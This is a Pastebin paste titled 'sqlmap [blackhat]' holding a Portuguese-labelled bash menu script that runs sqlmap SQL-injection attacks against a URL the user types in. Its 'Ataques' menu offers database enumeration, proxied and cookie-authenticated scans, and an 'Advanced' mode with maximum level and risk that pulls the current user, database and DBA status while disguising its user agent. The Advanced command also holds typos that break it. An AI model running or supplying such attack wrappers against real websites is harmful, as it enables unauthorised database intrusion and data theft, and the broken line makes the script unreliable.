SHARE
TWEET

sqlmap [blackhat]

DarkProgrammer000 Aug 14th, 2019 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /bin/bash
  2.  
  3. Geral()
  4. {
  5.     clear
  6.     sqlmap -u "$URL" --random-agent --batch
  7. }
  8.  
  9. Mysql()
  10. {
  11.     clear
  12.     sqlmap -u "$URL" --dbs --dbms=mysql --random-agent --batch
  13. }
  14.  
  15. Proxy()
  16. {
  17.     echo ""
  18.     echo -e -n "\033[01;32m Proxy (Ex: http://211.252.169.8): \033[00;37m"
  19.     read PROXY
  20.    
  21.     echo ""
  22.     echo -e -n "\033[01;33m Porta: \033[00;37m"
  23.     read PORTA
  24.     clear
  25.  
  26.     # Comando
  27.     sqlmap -u "$URL" --proxy="$PROXY:$PORTA" --dbs --random-agent
  28. }
  29.  
  30. Cookie()
  31. {
  32.     echo ""
  33.     echo -e -n "-\033[01;32m Cookie (Ex: security=low; PHPSESSID=6kv67sr4tl2ib88io1rf3glsq0): \033[00;37m"
  34.     read COOKIE
  35.     echo ""
  36.     clear
  37.    
  38.     sqlmap -u "$URL" --cookie="$COOKIE" --dbs --random-agent --batch
  39. }
  40.  
  41. Advanced()
  42. {
  43.     echo ""
  44.     echo -e -n "\033[01;32m Proxy (Ex: http://211.252.169.8): \033[00;37m"
  45.     read PROXY
  46.    
  47.     echo ""
  48.     echo -e -n "\033[01;33m Porta: \033[00;37m"
  49.     read PORTA
  50.    
  51.     echo ""
  52.     echo -e -n "\033[01;34m Cookie (Ex: security=low; PHPSESSID=6kv67sr4tl2ib88io1rf3glsq0): \033[00;37m"
  53.     read COOKIE
  54.     echo ""
  55.     clear
  56.  
  57.     # Comando
  58.     sqlmap -u "$URL" ---cookie="$COOKIE" --proxy="$PROXY:$PORTA" --mobile --dbs --level=3 --risk=3 --current-user --current-db --is-dba --baner --batch -v3
  59. }
  60.  
  61. clear
  62. echo ""
  63. echo -e "\033[01;36m -------------- \033[00;37m"
  64. echo -e "\033[01;34m     SQLMAP     \033[00;37m"
  65. echo -e "\033[01;36m -------------- \033[00;37m"
  66.  
  67. echo ""
  68. echo -e "\033[01;31m Ataques            \033[00;37m"
  69. echo -e "\033[01;32m [1] Geral          \033[00;37m"
  70. echo -e "\033[01;33m [2] Banco [mysql]  \033[00;37m"
  71. echo -e "\033[01;34m [3] Proxy          \033[00;37m"
  72. echo -e "\033[01;35m [4] Cookie         \033[00;37m"
  73. echo -e "\033[01;36m [5] Advanced       \033[00;37m"
  74.  
  75. echo ""
  76. echo -e -n "\033[01;37m Opc: \033[00;37m"
  77. read OPC
  78. echo ""
  79. echo -e -n "\033[01;37m Url: \033[00;37m"
  80. read URL
  81.  
  82. case $OPC in
  83.  
  84.     1)
  85.         Geral
  86.         clear;;
  87.    
  88.     2)
  89.         Mysql
  90.         clear;;
  91.    
  92.     3)
  93.         Proxy;;
  94.    
  95.     4)
  96.         Cookie
  97.         clear;;
  98.    
  99.     5)
  100.         Advanced
  101.         clear;;
  102.    
  103.     *)
  104.         ;;
  105. esac
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top